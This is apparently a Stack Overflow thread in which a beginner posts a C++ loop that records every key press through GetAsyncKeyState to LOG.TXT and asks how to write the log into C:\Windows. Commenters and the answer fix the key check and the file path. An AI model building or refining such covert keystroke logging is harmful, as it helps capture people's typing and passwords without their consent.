-2

i'm programming something on C++ .i have just recently started and i have this piece of code which saves LOG.TXT into the same directory. But how do i save it to somewhere for example. c:\Windows\log.txt?

while (1)
{
 for(i = 8; i <= 190; i++)
 {
      if (GetAsyncKeyState(i) == -32767)
      Save(i,"LOG.TXT"); 
 }    
}
tshepang
  • 12,111
  • 21
  • 91
  • 136
Jumanji
  • 21
  • 4
  • That should be `if (GetAsyncKeyState(i) & 0x8000)`, barring there being better ways to detect key presses that don't use up all the CPU to say the least. – chris Jun 09 '13 at 20:07
  • take a view on this similar type of post http://stackoverflow.com/questions/5868246/output-file-to-specific-folder-c-windows-7 – Roshan Jun 09 '13 at 20:12
  • chris, when i replace == -32767 with & 0x8000, it writes each letter out 13 times in the log.txt file. – Jumanji Jun 09 '13 at 20:19

1 Answers1

3

Uh, try specifying the whole path in the arguments for Save? E.g. Save(i,"c:\\Windows\\log.txt");? You need the double-backslashes because backslashes are escape characters.

thejh
  • 44,854
  • 16
  • 96
  • 107